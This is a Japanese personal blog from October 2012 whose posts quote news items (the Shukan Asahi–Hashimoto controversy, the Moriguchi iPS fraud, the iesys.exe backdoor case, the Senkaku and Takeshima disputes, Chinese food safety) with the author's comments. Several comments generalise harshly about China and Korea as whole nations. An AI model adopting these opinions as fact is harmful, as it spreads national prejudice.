当社は、差別や偏見などの人権侵害をなくす報道姿勢を貫いています。当社から２００８年に分社化した朝日新聞出版が編集・発行する「週刊朝日」が今回、連載記事の同和地区などに関する不適切な記述で橋下徹・大阪市長をはじめ、多くの方々にご迷惑をおかけしたことを深刻に受け止めています。と書かれています。週刊朝日連載中止:取材拒否から２日後「経緯明らかに」 橋下徹大阪市長の出自に関する週刊朝日の連載記事は、橋下氏が「取材拒否」を表明してからわずか２日後の１９日、連載中止が決まった。当初、同誌は「公人である橋下氏の人物像を描くのが目的」と強気の主張をしていたが、批判の声が広がって追い込まれた。「なぜ事前に問題に気付かなかったのか」。被差別部落の問題に詳しいジャーナリストらは疑問の声を上げた。「記事の企画や編集段階で、問題を指摘する人はいなかったのか。その感覚がなかったのなら驚きだ」フリーライター角岡伸彦さんは 「被差別部落の青春」などの著書がある大阪市在住の同誌の対応を批判する。角岡さんは週刊誌に同和問題に関する記事を連載した経験もあり、「血脈などのプライバシーに踏み込んだ取材もするが、活字にするかどうかは別だ。週刊朝日は連載打ち切りに至る経緯を明らかにすべきだ」と話す。フリージャーナリストの魚住昭さんは 今回の記事について、「親族にまつわる負のイメージを集め、橋下氏につなげている。あからさまな差別で、こういう書き方は同じノンフィクションを書く人間として強い疑問を感じる。打ち切りは当然だ」と話す。魚住さんには政治家の出自に触れた著作もあり、「ある地域を被差別部落と特定して記すことが絶対にだめとは言い切れない。被差別部落についてどういうスタンスをとるかが問題だ」と指摘した。記事が問題となり廃刊に至ったケースに 文芸春秋の月刊誌「マルコポーロ」がある。同誌は９５年、「ナチ『ガス室』はなかった」とする記事を掲載。ユダヤ人に対するホロコースト（大量虐殺）の事実を否定する内容で、米国のユダヤ人団体などから批判され、社長が辞任。廃刊に追い込まれた。と記載されています。
2012年10月20日
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週刊朝日が橋下市長に謝罪
昨日の橋下大阪市長の会見をみて、週刊朝日の記事が如何に悪意に満ちた、祖父やそ祖父の代まで口コミで聞いた話を元に、橋本氏を陥れるための記事掲載をしていたのかがよくわかり、江戸時代に幕府によって作られた士農工商の身分制度の下の身分を、戦後の社会でやっとなくそうとしていたのを、また持ちだした悪質な記事だと感じていました。週刊朝日が橋下市長に謝罪 週刊朝日が日本維新の会代表の橋下徹大阪市長の出自を題材にした連載記事を掲載し、橋下氏が朝日新聞の取材を拒否している問題で、出版元の朝日新聞出版は１８日夜、「記事中に不適切な記述が複数あった。ご迷惑を掛けたことを深くおわびする」とする河畠大四週刊朝日編集長の謝罪コメントを発表した。週刊朝日の次号でおわびを掲載する。連載を継続するかどうかについて朝日新聞出版は「コメントできない」としている。橋下氏はこれに先立つ記者会見で朝日新聞の記者に見解表明を求めたが、市役所担当の記者は「社としての見解は私が言うことではない」と応じず、橋下氏は今後も取材を拒否すると強調していた。コメントは、橋下氏に謝罪した上で「私どもは差別を是認したり助長したりする意図は毛頭ない」と釈明している。橋下氏は会見で、自身の人格を否定する理由を出自に求めているのが記事の問題だと主張。「報道の自由はあるにしても、一定のルールを超えている。（記事の執筆陣は）はっきり言って無知の集団だ」と批判した。朝日記者は「別媒体の記事で適切かどうかはコメントできない」と反論したが、橋下氏は「思想が違うなら出資を引くべきだ。朝日新聞グループは差別を認める団体だと認識して対応したい」と譲らなかった。週刊朝日は、朝日新聞出版本部が分社化され２００８年に発足した完全子会社の朝日新聞出版が発行。ノンフィクション作家佐野眞一氏と取材班による緊急連載で「ハシシタ 救世主か衆愚の王か 橋下徹のＤＮＡをさかのぼり本性をあぶり出す」と題して記事を掲載した。と記載されています。朝日新聞の１００％子会社の週刊朝日。朝日新聞は編集権に関わりがないとの見解ですが、大メディアが身分制度復活と捉えられるような記事に、何の見解もないというのはおかしいことだと思います。如何に公人と言えども、口述だけで橋本市長を陥れるためだけの記事を作りあげた週刊朝日と著者に怒りを覚えます。
2012年10月19日
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中国特権階級の「子弟優遇」に９４％が怒り 韓国大統領親族出国禁止
中国では特権階級やその子弟が優遇され、９４％が怒りを持っているニュースや、世界長者番付で台頭する中国の共産党幹部が入っているとか。韓国大統領の息子や取り巻きが犯罪に関わったとして出獄禁止措置のニュースも流れています。共産主義の国で党幹部が世界長者番付に入るのもおかしな話ですね。特権階級の「子弟優遇」に９４％が怒り 中国誌調査 中国共産党機関紙、人民日報系の雑誌「人民論壇」がこのほど実施した官僚腐敗に関する意識調査で、回答者の７０％が「特権階級の腐敗は深刻」とし、最も許せない行為として９４％が「就学・就職での子弟優遇」を挙げた。８７％が特権乱用に対して「恨み」の感情を抱いていると回答した。世界第２の経済大国になりながら、貧富の格差は拡大。特権を享受する共産党幹部に対する庶民の怒りが高まっていることが浮き彫りになった。調査は９月１８日から５日間、インターネットなどを通じて実施、約１万７千人が回答した。特権階級の腐敗について４６％が「非常に深刻」、２４％が「深刻」と答え、「軽い」としたのは１０％だった。最も許せない行為は「子弟優遇」の次に「住宅の低価格購入」（８９％）、「交通規則無視の車両使用」（８５％）の順で、「特権的な旅行」「特権的な医療享受」と続いた。李大統領特検捜査で息子含む１０人に出国禁止措置…兄は前日に出国 李明博大統領のソウル内谷洞私邸用地不正購入疑惑事件の特別捜査チームが１６日、本格捜査に入った。特検チームはこの日、李大統領の息子（３４）と任太熙元大統領室長、金伯駿元総務企画官ら主要捜査対象者１０余人に対し、法務部を通じて出国禁止措置を取った。私邸用地購入の実務作業をしたキム・テファン氏と金仁鍾元青瓦台警護処長（６９）も含まれた。シヒョン氏の私邸購入資金１２億ウォンのうち半分の６億ウォンを貸した李大統領の兄・李相殷ダース会長も出国禁止対象だったが、捜査の前日の１５日に突然出国したことが確認された。また私邸用地を売った飲食店経営者のユ氏（女性）も５月１２日に出国している。 特検チームは出国禁止に続き、召喚対象者選別作業に着手した。特検チームは野党などによって告発された被告発人７人のうち一部をまず召喚する予定だ。シヒョン氏も調査を受けるとみられる。シヒョン氏が私邸用地購入資金６億ウォンの融資を農協から受ける際、ソウル論硯洞の土地を担保とした李大統領夫人・金潤玉氏も召喚されるかどうか注目される。特検チームの周辺では、警護処や総務企画官室など青瓦台に対する史上初の家宅捜索の可能性も提起されている。 中国富裕層の国際イメージは「ぜいたく品大量買いの成金」―中国メディア 中国の富裕層は3タイプに分類できるという。「たたき上げ型」は浙江省や広東省の企業家が代表的な例だ。彼らは裸一貫から富を築き上げた。「天下りビジネス型」は共産党体制内部から商売を始めた、共産党幹部という顔も持つ政治とビジネスの複合型だ。「共産党大幹部型」は共産党の大幹部一族で許認可が必要な業界に従事している。インフラ、エネルギーなどはほとんどがこの「共産党大幹部型」一族が仕切る分野で、不動産業も人気が高い。と記述されています。
2012年10月18日
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太陽光発電を契約する！
先日来、インターネットから見積依頼していた太陽光発電。２社に絞込み価格交渉していましたが、契約を決定しました。ソーラーフロンティア製の３.３６kwで、補助金を差し引いて１０３万円でした。設置決定をしたのは売電価格４２円が１０年継続することと、来年からは３８円の予測。国産のソーラーフロンテァ製に魅力を感じたからです。温暖化防止と原発依存脱却の一助にはなると思います。各社見積り商談の中で、シリコン製パネルと粉体製パネルがあり、シリコン製のほとんどが海外生産で、東南アジアや中国で生産しています。太陽光発電トップのドイツでは中国製のパネルが安価に輸入され価格破壊で大手の会社が倒産。ドイツでの実験では日本製が劣化が少なく、中国製では２５％も劣化するパネルもあるようです。そのことから日本製の採用が増えています。ソーラーフロンティア は昭和シェル石油１００％出資の会社で、パネル保証は他社は１０年なのに、２０年保証。シリコン製のほとんどが日影になると発電量が極端に落ちるのに落ちないこと。朝日・夕日でも発電すること。２５℃が標準に対し高温でも発電量がいいこと。なのです。ソフトバンクが大規模太陽光発電にソーラーフロンティア製パネルを採用したのは、各社の太陽光パネルを実験設置し、その中から選ばれたそうで、インドやアフリカの高気温の国々でもソーラーフロンティア製を採用しています。設置後の発電量増加も確認されているようです。設置完了売電までに約２ヶ月ほどかかります。契約時に印鑑証明を準備したことで、２週間ほどでJ－PECから補助金申込受理決定受理が来てから工事着工。工事が多いので１１月末着工。工事完了後１０日ほどで関電メーター取り付け。発電スタートスイッチで発電開始となります。補助金交付はさらに、売電スタート後約１ヶ月関電の「太陽光発電に関する電力需給の案内」により、J－PECから補助金交付決定受理が届き、補助金振込がされます。その後神戸市の補助金申請をして振り揉まれるので、契約後約３ヶ月後になりそうです。
2012年10月17日
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日本人というだけで？ 上海で日本人が暴行受け負傷
先日は韓国観光に行った日本の方が、罵声を浴びせられたとのニュースがありましたが、昨日のニュースで、上海市内の飲食店で日系企業の日本人駐在員４人と同僚の中国人の計５人が、突然「日本人か？」と聞かれて、殴る蹴るの暴行をうけたそうです。もはや中国・韓国は行けるところではないようです。上海で日本人が暴行受け負傷 飲食店で、容疑者を拘束 中国・上海の日本総領事館当局者は１５日、上海市内の飲食店で１１日夜、日系企業の日本人駐在員４人と同僚の中国人の計５人が店内にいた中国人に暴行を受け、少なくとも３人が負傷したことを明らかにした。中国人は「日本人か」と言って殴る蹴るの暴行を加えたといい、日本政府による尖閣諸島国有化をきっかけにした反日感情の高まりが背景にあるとみられる。当局者によると、上海市の警察は容疑者数人を特定し、拘束した。日本人の長期滞在者が約５万６千人と中国で最大の邦人コミュニティーを抱える上海市で、日本人への暴行が明らかになったのは９月１３日以来。韓流うんざり…旅行キャンセル相次ぐ 竹島問題、ブーム下火で意識変化 旅行会社にソウルなど韓国へのツアーのキャンセルが相次いでいる。竹島問題をめぐる感情悪化が理由だが、両国の対立はこれまでにも繰り返され、そのたびに「政治と経済は別」との考えから沈静化に向かっていた。ところが今回は「嫌韓ムード」もあり、問題再燃から１カ月近くたった今も沈静化どころか、影響が拡大しつつある。「必要以上に持ち上げられた韓流ブームが薄らぐ一方、嫌韓ムードは日増しに高まっている。韓国への旅行の落ち込みも長期化するのでは」と旅行業界の関係者は先行きを警戒する。実際、韓国に旅行した東京都在住の４０歳代女性はこう話す。「日本人とわかれば、屋台やタクシーなどは平気で価格をつり上げる。罵声を浴びせる人もいる。竹島問題もあり、今は行きたくないですね」。と記載されています。私も在職中に中国出張で上海に行ったことがありますが、お互いに暖かく接していました。過度な竹島領有権行動をみてから、毎日のように見ていた韓流ドラマも、今は１本も見ることがありません。政治対立だけならまだしも、国民レベルで日本人だということでこの態度は許せません。日本国内で中国の方や韓国の方にこんな仕打ちはしないでしょう。恐ろしい国です。悲しいことです。
2012年10月16日
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森口氏参加の研究調査へー助成金１億６千万円
ｉＰＳ細胞のヒトへの移植ーつい勢いでウソをついた？と記者会見した森田氏。その森田氏が中心で進められている政府の研究助成事業「細胞や臓器などを冷却保存する手法の開発」に助成額計約１億６千万円が割り当てられていることがわかったそうです。その内容があらためて調査されるようですが、助成金は国民の税金です。もし研究課題が虚偽だとすると、研究費助成が叫ばれている現状に水を差すことになります。【ｉＰＳ細胞移植】助成１億６千万円…森口氏参加の研究調査へ 内閣府 森口尚史氏（４８）が人工多能性幹細胞（ｉＰＳ細胞）の臨床研究をしたと虚偽の発表をした問題で、内閣府は１４日までに、森口氏が参加する東京大の研究プロジェクトについて今週にも調査を始める方針を固めた。米国の発表などの共同研究者が所属する東京医科歯科大も近く調査委員会をつくり、検証することにしている。内閣府の調査の対象は細胞や臓器などを冷却保存する手法の開発。政府の研究助成事業に選ばれており、東京大の研究代表者が森口氏を特任研究員として雇用している。助成額は計約１億６千万円。研究チームが提出した平成２２年度の報告書によると、心臓や子宮、リンパ節などさまざまな臓器や組織の保存研究を実施する。ｉＰＳ細胞の保存も対象で、それについては「森口氏を中心に進めている」との記載がある。森口氏「研究者やめる」…ｉＰＳ移植虚偽発表 ｉＰＳ細胞（新型万能細胞）を使った心筋移植について虚偽発表をした森口尚史氏（４８）は、内容に虚偽があったことを初めて認め、「研究者としての仕事をやめる」と述べた。記者会見は１３日午前１０時（日本時間午後１１時）から米ニューヨーク市内のホテル会議室で開かれた。日本の主要メディア各社が詰めかけ、２時間を超えても続いた。米国内でｉＰＳ細胞を使った心筋移植を６件行ったとした研究発表のうち５件について、手術の事実がなかったと認め、予定していた手術だなどと弁明した。一方、昨年６月に行ったと主張した１件の手術については、自分のものだとするパスポートの出入国記録の欄を示し、当時、米国にいたので事実だったと主張した。しかし、執刀医や患者の名前などを示すよう求められると、「名前を出してくれるなと言われている」「それを出せないから、本当に困っている」などと繰り返した。読売新聞は、森口氏の今回の心筋移植に関する発表について、ハーバード大や、論文の「共同執筆者」とされた研究者への取材などから、既に虚偽と判断している。と記載されています。
2012年10月15日
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ｉＰＳ細胞のヒトへの移植ーつい勢いでウソをついた？
世界に大恥へと発展してしまった ｉＰＳ細胞のヒトへの移植。２０１２年のノーベル医学生理学賞を京都大学の山中伸弥教授が、世界に日本人の優秀さを認められたのに、森田という男は日本人に泥を塗る形となってしまいました。森口氏“つい勢いでウソをついた” ｉＰＳ細胞のヒトへの移植に世界で初めて成功したと主張する研究者の森口尚史氏が、１３日、ニューヨークで記者会見を開き、「つい勢いでウソをついてしまった」と述べて、従来の主張は大半が虚偽であったことを認めました。森口氏は、１３日、滞在先のニューヨーク市内のホテルで記者会見を開きました。森口氏は、これまで、ボストンのマサチューセッツ総合病院でことし２月以降、ｉＰＳ細胞を使ったヒトへの細胞移植を６例、実施したと説明してきましたが、会見では「移植が実施されたのは１例のみで、残りの５例は間違いだった。つい勢いでウソをついてしまった」と述べ、従来の主張は大半が虚偽であったことを認めました。しかし、森口氏は「１人の患者には、別の病院で、去年６月に本当に細胞移植を実施した」と強調し、世界で初めてｉＰＳ細胞のヒトへの応用を行ったという主張は変えませんでした。これに対して、記者からは「どこの病院で誰が手術を行ったのか」など質問が相次ぎましたが、「共同研究者から言うな、と言われている」と答えるだけで、あいまいな説明にとどまり、具体的な証拠は一切、示しませんでした。森口氏は、みずからの今後については「研究者としてやっていくことはできないだろう」と述べました。森口氏を巡っては、去年発表した論文でも、アメリカの医療機関の教授の名前が共同研究者として許可なく使われていたことが明らかになるなど、過去の研究発表にも不審な点が相次いで見つかっています。と記載されています。山中伸弥教授が特許をとることで、学術研究に原則無償で使用を許諾し、商業目的にも安い特許料で使用を認め、「苦悩する患者を一人でも多く助けたい」という想い。森田という男とは 雲泥の差 とはこのことを言うのでしょう。企業や人が特許を取る殆どが、研究開発した技術等を、特許を取ることで他の企業や人には使わせない。他の企業が特許技術を使う場合は高い特許料を取る。この様なケースが見られる中で、山中教授の想いは素晴らしいと思います。ｉＰＳ細胞関連技術の国際特許確立にも表れる。企業が特許を取得すると、特許料の高騰や係争による研究の遅れを招く恐れがある。山中教授は知的財産として適切に管理しなければ「結果的に実用化を遅らせる」と言う。特許を管理する京大ｉＰＳ細胞研究所が学術研究に原則無償で使用を許諾し、商業目的にも安い特許料で使用を認めているのは、こうした理由からだそうです。
2012年10月14日
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トヨタ2013年ーハイブリッド技術特許切れ
トヨタのハイブリッド技術の特許が２０１３年に切れるらしい。特許切れは外国企業、特に中国・韓国企業でも特許料無しで生産できる。そのエネルギー源のリチウム電池原材料埋蔵のボリビアのウユニ塩湖が注目され、その確保に中国、韓国政府がボリビア政府に対し共同開発に動き出しています。特許期限切れがハイブリッド車の世界的生産となり、トヨタが恩恵を受けるかどうかがニュースになっています。トヨタ2013年問題 ＨＶ特許切れは危機か機会か 米国ではシェールガス革命が進行しているが、中東へのエネルギー依存状態を変えてしまうかもしれない動きがもう１つ起きつつあるのをご存じだろうか。それは、トヨタ自動車のハイブリッド車（ＨＶ）技術の特許切れだ。実は、節目は来年やってくる。ハイブリッド技術といっても、何十種類と特許は存在するようだが、トヨタ幹部によれば、「最も大きい部分（技術）の特許が2013年中に切れる」という。リチウムはハイブリッド車のモーター部分を動かすエネルギー源、すなわちリチウムイオン電池の原料となる資源である。まずはパソコン用の電池として普及が始まり、レアアースと同様、中国産などが使われるケースが多かったようだが、埋蔵量が最も多いと言われているのは実は、南米のアンデス山脈。とりわけアルゼンチンやチリに近いボリビアのウユニ塩湖だ。ウユニ塩湖は３年ほど前から注目を集め、日本の総合商社ほか、中国、韓国政府がボリビア政府に対し、共同開発を申し入れている。トヨタのハイブリッド特許が切れた後はどうなるだろう。米国や欧州、あるいは韓国の自動車メーカーがこぞってハイブリッド車に参入。市場がにぎわえば、リチウムの権益を目指して各国の政府・企業が再び動き出す可能性がある。ハイブリッド車は車の燃費効率を高めるのに有効な技術だ。だが、世界で見ると、日本と米国以外で普及している国はあまりない。１つは、ガソリンエンジンにモーターを組み合わせる技術が難しく、トヨタの特許も複雑に入り組んでいるため。このため、「トヨタにライセンス料を支払ってまで」とあえて参入を避けてきたメーカーは、少なくなかった。今後注目されるのは中国だろう。中国は世界最大のエネルギー消費国となり、ガソリン車からエコカーへの転換を経済政策の根幹に位置づけている。ハイブリッド車技術にはかねて関心を持っており、トヨタにも技術移転を何度か求めてきていた。一時は自前で電気自動車を普及させ、世界に輸出していこうとした時期もあった。ハイブリッド車はトヨタの技術供与がなければ、中国メーカーには量産ができなかったからだ。だが、電気自動車も結局はうまく行かず、最近になって再びハイブリッド車、とりわけ家庭の電源で充電できるプラグインハイブリッド車の技術導入に方針転換をしつつあるといわれている。中国でハイブリッド車に力を入れたいトヨタの働き掛けもあっただろう。だが、中国側にとっては主要な技術でトヨタの特許が切れるとわかったことも大きかったはずだ。米欧メーカーが特許切れの技術で量産を始めれば、従来の提携関係を生かして、中国のメーカーもハイブリッド車の生産をスムーズに始められる可能性が高まる。もっとも、トヨタの利益も大きい。中国は2030年にかけて世界の３割を占めようかという自動車市場だ。そこにハイブリッド車の市場ができあがれば、米欧勢に出遅れた同国で一気に巻き返せるチャンスが巡ってくる。ハイブリッド車革命は中国以外にももちろん、広がっていく。日本もうまくすればハイブリッド車革命の恩恵に浴せる可能性がある。ボリビアがリチウムで注目されるなら、日本は一日の長があるハイブリッド車向けの制御技術や材料、ビジネスモデルで新たな成長産業の柱を打ち立てたいものだ。電機業界の再生にもきっとつながるはずである。と記載されています。
2012年10月13日
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ドイツ大量食中毒は中国産冷凍いちごが原因
ドイツで１１０００人の食中毒発生原因が、中国産冷凍イチゴだったとか、日本では中国から輸入した生食用ウニに腸炎ビフリオが基準値の１４倍以上検出されたり、中国のバレーボール選手がドーピングに引っかかるため肉を食べていなかった等、中国食材が世界的に問題になっています。我が家では食材を購入するときに中国産と書かれていたら絶対購入しません。中国産冷凍イチゴが原因＝食中毒の患者１万１０００人に―ドイツ ドイツ東部のベルリンなどで発生した児童・生徒の集団食中毒で、ロベルト・コッホ研究所は９日までに、中国から輸入した冷凍イチゴが原因と突き止めた。保健当局の検査で、イチゴからノロウイルスが検出された。東部の５州では９月下旬、１万１０００人以上が下痢や吐き気などの異常を訴え、同国最大の集団食中毒に発展した。今週に入ってからは新たな患者は出ていない。保健当局によると、イチゴは冷凍された状態で輸入され、食材業者が給食用として学校に納入した。冷凍後にノロウイルスが混入した痕跡はないという。調理時に十分に加熱した学校では患者は出なかったが、加熱が不十分だった学校で食中毒が発生した。 中国輸入ウニに回収命令！腸炎ビブリオ検出、基準値１４倍 中国から輸入された生食用ウニから、食中毒菌の腸炎ビブリオが基準値の１４倍以上検出され、横浜市は３日までに食品輸入業者「泰星物産」（同市神奈川区）に回収命令を出した。健康被害は報告されていない。横浜市によると、同社は９月２６日、中国から約８１０キロを輸入。同２７日に約７００キロを東京都内の水産卸会社に販売したほか、横浜、川崎、仙台、さいたま、千葉、名古屋市の卸会社に売った。厚生労働省の検査で判明、指摘を受けた。腸炎ビブリオは魚介類の刺し身などに付着し、腹痛や下痢などの症状を引き起こす。中国の食の安全性問題、原因は「管理と道徳心の欠如」―米誌 2012年8月29日、環球時報によると、米アトランティック誌は28日、「中国で食の安全問題がますます深刻になっている」と題した記事を掲載した。影響はスポーツ界にも広がっている。 今年7月、バレーボール女子のワールドグランプリ（GP）決勝ラウンドで中国は米国に敗れ、5位に終わった。成績不振の原因について、中国代表の兪覚敏監督は「選手が3週間も肉を食べていなかったせい」と説明した。ベジタリアンだからではない。違法薬物である「痩肉精（塩酸クレンブテロール）」入りの飼料で育ったブタの肉を知らずに食べてドーピング検査で「陽性」になる可能性があるためだ。この事件からも中国人の食の安全への不安が高まっていることがみてとれる。20年前は中国食品に問題があると考える人は少なかった。しかし現在はほとんどの人が中国といえば食品問題を連想する。 その元凶は何だろうか？インターナショナル・ヘラルド・トリビューン紙は、中国の市場経済の成長ペースは中国政府の統制を超えており、ビジネス倫理も確立されていないと指摘。効果的な監督・管理システムが確立されておらず、道徳心が欠落した状況の下、自利追求が公共の利益を上回ってしまっていると伝えている。 11年10月に行われた全国規模のオンライン調査では、回答した中国の成人2万3000人のうち、「道徳的な基準を守ることが中国社会で成功を収める必須条件の1つだ」と考えている人は半数にも満たなかった。と記載されています。
2012年10月12日
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遠隔操作ウイルスの詳細判明
他人のＰＣから脅迫メールを送りつけ、誤認逮捕の上1ヶ月も拘留される事件がありましたが、そのウイルスの実態が分かってきました。「ＢＫＤＲ＿ＳＹＳＩＥ．Ａ」と「iesys.exe」の名前のものが我が家のＰＣにも入っていないか、Spybot と Everything fastpanel の導入ソフトで調べましたが、入っていないようです。遠隔操作ウイルスの詳細判明 遠隔操作できるウイルスに感染したパソコンが悪用され、無関係とみられる大阪と三重の合わせて２人の男性が逮捕された事件で、２人のパソコンが感染していたウイルスが判明しました。このウイルスは、日本の特定の掲示板に書き込みを行うために作られた高度なものだったことが分かりました。この事件で、大阪・吹田市と三重県津市の男性は、インターネット上に犯行を予告する書き込みをしたとして逮捕されましたが、その後、２人のパソコンが第三者に遠隔操作される特殊なウイルスに感染していたことが分かり、釈放されました。東京のセキュリティー会社「トレンドマイクロ」が２人のパソコンが感染したウイルスを入手して調べたところ、このウイルスはバックドア型と呼ばれるもので、「ＢＫＤＲ＿ＳＹＳＩＥ．Ａ」という名前の新種のものだったことが分かったいうことです。このウイルスは、感染するとパソコン内部に登録された情報を特定のアドレスに送信するほか、日本の特定の掲示板に書き込みを行ったり、その掲示板を通じて指示を受けたりする機能も組み込まれていたということです。また、このウイルスには、動作を終えたあと、みずからを削除して、感染した痕跡を消す機能も備わっていたということです。なりすまし事件、遠隔操作プログラムは「iesys.exe」 無料ソフトダウンロードで感染か 大阪と三重の男性2人のパソコンが感染していた遠隔操作ウイルスは「iesys.exe」（アイシス）と呼ばれるファイル名だったことが10日、捜査関係者への取材で分かった。このウイルスは最近、米国や欧州などで確認され、出回るようになったものと同種とみられるという。捜査幹部によると、ウイルスは遠隔操作でファイル名の変更や削除ができ、すでに名前が変えられている可能性もある。2人は無料ソフトをダウンロードした際に感染した疑いが強い。大阪の北村真咲さんはネット掲示板「2ちゃんねる」を経由してダウンロードサイトにアクセスしていたという。情報セキュリティー会社の担当者によると、同種のウイルスは過去に発見されているが、改変された可能性もあるという。と記載されています。Spybot スパイウエアを見つけ駆除するソフトEverything 超シンプルで超高速なファイル検索ソフトfastpanel ＰＣ内の実行ソフトを高速で表示するプログラムの追加と削除ソフト
2012年10月11日
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尖閣問題で妥協案？
日本政府が尖閣問題で妥協案？というニュースが掲載されていました。歴史的にも、戦後処理でも、日本の領土なのに！。中国は焦りが出てきているのに、何が妥協案なのか、何故妥協案を出さなければならないのかと、民主党政府の対応を疑ってしまいます。中国側の領有権主張は「認識」／政府、尖閣問題で妥協案 日本政府が沖縄県・尖閣諸島（中国名・釣魚島）国有化で深まる日中対立について「領有権問題は存在しない」との原則を堅持しつつ、中国側の領有権主張は「認識している」との立場を打ち出し、沈静化を図る妥協案を検討していることが９日、分かった。関係筋が明らかにした。これまでの主張を変えることなく、領有権争いの存在を認めるよう求める中国に歩み寄る形。だが、こうした立場を示しても、中国側が納得して関係改善に踏み出すかどうかは不透明で、日本側は中国の出方を慎重に見極めた上で対応を決定する方針だ。中国政府は当初、国有化の撤回を強く要求してきたが、日本側は一貫して拒否。中国の対日非難は焦りの裏返しか 中国も今後のシナリオ描けず。日中関係史に詳しい日本の中国専門家はこう分析する。「客観的にみても、中国の主張には無理がある。それでもなりふり構わず歴史と尖閣を絡めるのは、焦りの裏返しかもしれない」。だとすれば、中国は何を焦っているのか。同専門家は指摘する。「圧力を強めても、日本政府による尖閣保有が覆るメドはない。さらに日中対立が深まれば、再びデモが広がり、中国国内も混乱しかねない。中国としても今後のシナリオを描き切れていないのではないか」中国への日本側の反論は、主に次の通りだ（９月29日付、毎日新聞朝刊）。(1) 日本は1885年から調査し、清朝が領有している事実がないことを確認したうえで、1895年１月に尖閣を編入した。これは国際法上、正当に領有権を得る方法である。(2) 日清戦争に日本が勝ち、「台湾及び澎湖（ほうこ）諸島」を割譲されたのは同年４月であり、すでにその前に尖閣は日本領になっていた。(3) 尖閣は日本が中国から奪い取ったものではなく、ポツダム宣言などの返還対象にはならない。中国は「尖閣＝日本による侵略の歴史」という宣伝をやめない公算が大きい。すでに党中枢でそうした対日戦術が決定されたとみられるからだ。その証拠に楊外相だけでなく、格上の中国共産党幹部からも同様の発言が聞かれる。その戦術がどこまで奏功するかは、疑問だ。外交筋によると、楊外相は先月下旬、ニューヨークでクリントン米国務長官と会談した際、尖閣と歴史問題を関連づけ、日本を強く非難した。だが、「クリントン長官は楊外相の主張を聞き流し、緊張を高めないよう促した」という。と記載されています。
2012年10月10日
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天皇は謝れ！とは言っていない？
８日韓国李大統領の竹島上陸後、初めて日本の麻生元首相との会談が開かれましたが、天皇陛下訪韓なら「心から謝罪を」 韓国大統領 と天皇陛下を韓国に招待しておいて「天皇は謝れ」と報道されたことについて、「私は言っていない」と釈明したそうです。韓国の有識者も、天皇謝罪要求発言は良くないと言っているのですから、発言はあったのですよね。韓国・李大統領、麻生元首相らと会談 両国協力の重要性を訴える 韓国の李明博(イ・ミョンバク)大統領が、ソウルを訪問中の麻生元首相らとの会談の場で、日韓両国による協力の重要性を訴えた。李大統領は「世界経済の低迷や、北東アジアのさまざまな状況から、両国が今後未来志向的に協力すべき事案が多い」と述べた。これは、両国の国会議員や財界人らがメンバーとなっている「日韓協力委員会」による表敬訪問の場で発言したもの。また李大統領は、これに先立って、麻生元首相と個別に25分間会談し、この場では先の天皇陛下についての発言について、「そういう意味ではなかった」と釈明したという。麻生元首相は「全然そういう意味ではないということで。陛下に韓国に来いとか謝れなどと言ったことはないという話を伺いました」と述べた。また麻生元首相は、両国で歴史認識が一致するのは難しいが、未来志向の関係を築くことが大事ではないかと話したという。2012年8月の竹島上陸で日韓関係が悪化して以来、李明博大統領が大統領府で日本の政治家に会うのは、初めてのこととなる。李大統領が「天皇陛下謝罪要求」を釈明 韓国内からは「一貫性がない」と批判 韓国の李明博（イ・ミョンバク）大統領が、天皇陛下が韓国を訪問するにあたって謝罪を要求したとされる問題で、大統領が日本に詳しい韓国人有識者を大統領府（青瓦台）に招き、非公式に意見交換していたことが明らかになった。李大統領は、謝罪要求発言について「真意が伝わっていない」などと発言した模様だが、これを受ける形で、韓国では、李大統領の発言のブレや一貫性のなさを指摘する声も出ている。会合の存在を初めて報じたのは日本メディア。意見交換会は2012年9月5日早朝に行われた。何とか自分の任期中にケリをつけられないか」と、天皇陛下の訪韓で事態を打開する狙いがあったなどと釈明した。従軍慰安婦問題については、「日本は法律や原則に固執しすぎている」として、かならずしも法的解決にこだわらない姿勢を見せたという。朝日新聞以外のメディアも、同紙を追いかける形で会合の内容を報じている。NHKによると、日韓が領有権を争っている竹島（韓国名・独島）について、「これ以上、刺激しないほうがよい」「日本人に敬意を持っている」と述べたという。今回の会合をめぐっては、韓国メディアから批判の声があがっている。例えば、左派のハンギョレ新聞は、「ネチズンは、大統領の発言に一貫性がないと批判している」と指摘し、韓国日報は、「一部では、李大統領の天皇の謝罪要求発言は、『外交的問題を考慮せずに、即興で出てきたものだ』いう批判が起こっている」と報じている。李大統領の発言のブレを批判している形だ。
2012年10月09日
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冷却マット ソルティクーラーの半永久持続はウソ？
夏場の暑さ対策で楽天のスーパーセールで６月に購入し、私のブログにも紹介した 冷却マット ソルティクーラー。寝るときに敷き布団の上に敷いて寝ると、塩の力の原理でヒヤリとしていたのですが、８月の終わりには端の方が固形化してきて、ゴツゴツして使えなくなりました。半永久的に持続と書かれており、メーカーの 家具通販のロウヤ に２回問合わせをしましたが、ナシのつぶてで回答がありません。対応を待ちたいと思います。【問い合わせ内容】再度 問い合わせ ９月８日に問合わせのメールを送らせていただきましたが、未だに回答がありません。問い合わせ後、商品バッケージを店頭で見つけ固まった場合の記述で「４５度のお湯に浸けると回復」となっていて試しましたが、冷めるとまた固まります。来年も使用したいと思いますので、対応よろしくお願いします。【９月８日問い合わせ内容】 ６月３日に御社の商品 冷却マット ソルティクーラー 【90×90cm】 を購入し使わせてもらっています。先週ころから、中身のジェルが固形化して、大きな砂が入ったようなザラザラした感じになっています。中央部はまだジェル状態なのですが、両端部袋にこの現象が発生しています。もとに戻す方法はあるのでしょか。まだ使い出してから３ヶ月で、来年も使いたいと思っていますので、対応よろしくお願いします。【６月４日ＵＰのブログ内容】 【半額】【楽天スーパーセール】塩の力で冷やす、冷却マット ソルティクーラー 【90×90cm】 ひんやり 敷きパッド ひんやりマット クール 敷きパット (ハーフ) 夏 シーツ 寝具 布団 ふとん 快適 涼しい 快眠 冷却 エコ 節電 【送料無料】 送料込み。当店価格7,980円 (税込) のところロウヤ特別大特価！3,800円。 (税込 3,990 円) 送料込。10倍 380ポイント。を購入。こちらはすんなり購入手続きが完了しました。この商品、１．アイスソルトが体温を奪ってひんやり心地いい！。 ２．吸収した熱を素早く逃がして快適温度キープ！。 ３．収納にも便利なたたみやすい連結タイプ！。 